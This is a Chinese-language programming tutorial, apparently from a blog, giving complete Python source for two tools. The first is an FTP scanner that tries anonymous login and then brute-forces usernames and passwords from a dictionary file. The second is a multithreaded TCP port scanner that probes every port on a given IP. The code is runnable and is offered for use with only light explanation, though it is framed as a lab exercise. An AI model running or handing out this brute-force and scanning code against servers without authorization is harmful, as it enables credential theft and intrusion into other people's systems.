1. 程式人生 > >python實現FTP弱口令掃描器與簡單埠掃描器

python實現FTP弱口令掃描器與簡單埠掃描器

python實現FTP弱口令掃描器與簡單埠掃描器

 

目錄

FTP弱口令掃描器

簡單埠掃描器

 

參考:

https://blog.csdn.net/rebelqsp/article/details/22109925

https://www.aliyun.com/jiaocheng/434055.html?spm=5176.100033.2.10.3571581eheCuHX

 

FTP弱口令掃描器

# Ftp匿名掃描器的實現,需要使用FTP這個類
# Ftp這個類實現了Ftp客戶端的大多數功能,比如連線Ftp伺服器、檢視伺服器中的檔案、上傳、下載檔案等功能,

import  ftplib
import time
import argparse

#FTP匿名登入掃描
# 首先用主機名構造了一個Ftp物件(即ftp),然後用這個ftp呼叫不帶任何引數的login()函式即表示要匿名登入這個Ftp伺服器,如果登入過程中沒有產生異常,則表明匿名登入成功,否則匿名登入失敗!
def anonScan(hostname): #引數是主機名
    try:
        with ftplib.FTP(hostname) as ftp:#建立Ftp物件
            ftp.login() #Ftp匿名登入
            print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!") #不丟擲異常則表明登入成功
            return True
    except Exception as e:#丟擲異常則表明匿名登入失敗
         print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
         return False

# FTP弱口令掃描==暴力破解
# Ftp弱口令的掃描依賴於使用者名稱和密碼字典,我們的實驗環境中會提供 pwd.txt 作為密碼字典,字典的格式如下圖所示:
# 使用者名稱:密碼

# 迴圈從字典中讀取使用者名稱和密碼並嘗試登陸,登陸成功則表明找到使用者名稱和密碼。由於這個函式將主機名定義成了可以用“,”分割的字串。找到密碼並不會終止程式,而是會繼續掃描其他主機的弱口令,直到所有的主機都掃描一遍。
def vlcLogin(hostname, pwdFile):#引數(主機名,字典檔案)
    try:
        with open(pwdFile, 'r') as pf:#開啟字典檔案
            for line in pf.readlines(): #迴圈讀取字典檔案中的每一行
                time.sleep(1) #等待1秒
                userName = line.split(':')[0] #從讀取的內容中取出使用者名稱
                passWord = line.split(':')[1].strip('/r').strip('/n') #從讀取的內容中取出密碼
                print('[+]'+str(hostname)+':Trying: ' + userName + ':' + passWord)
                try:
                    with ftplib.FTP(hostname) as ftp:#以主機名為引數構造Ftp物件
                        ftp.login(userName, passWord) #使用讀取出的使用者名稱密碼登入Ftp伺服器
                        #如果沒有產生異常則表示登入成功,列印主機名、使用者名稱和密碼
                        print('[*] ' + str(hostname) + ' FTP Login successful: '+ userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                # 產生異常表示沒有登入成功,這裡我們不用管它,繼續嘗試其他使用者名稱、密碼
                    pass
            print("破解失敗")

    except IOError as e:
            print('Error: the password file does not exist!')
            print('[-] Cannot crack the FTP password, please change the password dictionary try again!')
            return (None,None)

def main():
    parser = argparse.ArgumentParser(description='FTP Scanner')
    # 新增-H命令dest可以理解為咱們解析時獲取-H引數後面值的變數名,help是這個命令的幫助資訊
    parser.add_argument('-H', dest='hostName', help='The host list with ","space')
    parser.add_argument('-f', dest='pwdFile', help='Password dictionary file')
    options = None
    try:
        options = parser.parse_args()
    except:
        print(parser.parse_args(['-h']))

    ip = str(options.hostName)
    pwdFile = str(options.pwdFile)

    if  anonScan(ip):pass
    else:vlcLogin(ip,pwdFile)



if __name__ == '__main__':
    main()

 

 

 

 

簡單埠掃描器

 

這裡使用多執行緒的操作是很有必要的。這裡,一個很自然的思路就是為每一個埠單獨開一個執行緒進行掃描。 
所以你也可以將需要掃描的埠列表定為從Nmap中得到的前1000個使用頻率最高的埠,例如下面:
port_list = [1,3,6,9,13,17,19,20,21,22,23,24,25,30,32,37,42,49,53,70,79,80,81,82,83,84,88,89,99,106,109,110,113,119,125,135,139,143,146,161,163,179,199,211,222,254,255,259,264
,280,301,306,3]

  

對於一個給定的ip地址,掃描的過程是這樣的: 
1. 每一個埠建立一個執行緒,新增到執行緒列表
2. 利用connect_ex函式對該(ip,port)進行連線操作。 
3. 呼叫thread.start()和thread.join()方法,使掃描的子執行緒開始工作並且命令主執行緒等待子執行緒死亡後再結束。
4. 重複這個過程直到所有的埠都被掃描過。

  

 

 

import socket, time, threading
socket.setdefaulttimeout(3)

def socket_port(ip,port):
    """
    輸入IP和埠號,掃描判斷埠是否開放
    """

    try:
        if port>=65535:
            print('埠掃描結束')
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result=s.connect_ex((ip,port)) #返回值為0則表示埠open
        if result==0:
            print(ip+':',port,'埠開放')
        s.close() #
    except:
        print('埠掃描異常')



def ip_scan(ip,thread_list):
    """
    輸入IP,掃描IP的0-65534埠情況
    """

    try:
        print('開始掃描 %s' % ip)
        start_time=time.time()
        for i in range(0,65534):
            t = threading.Thread(target=socket_port,args=(ip,i))
            t.start()
            thread_list.append(t)
        for thread in thread_list:
            thread.join()
        print('掃描埠完成,總共用時 :%.2f' %(time.time()-start_time))
    except:
        print('掃描ip出錯')


if __name__=='__main__':
    ip=input('Input the ip you want to scan:\n')
    thread_list=[]
    lock = threading.Lock()
    ip_scan(ip,thread_list)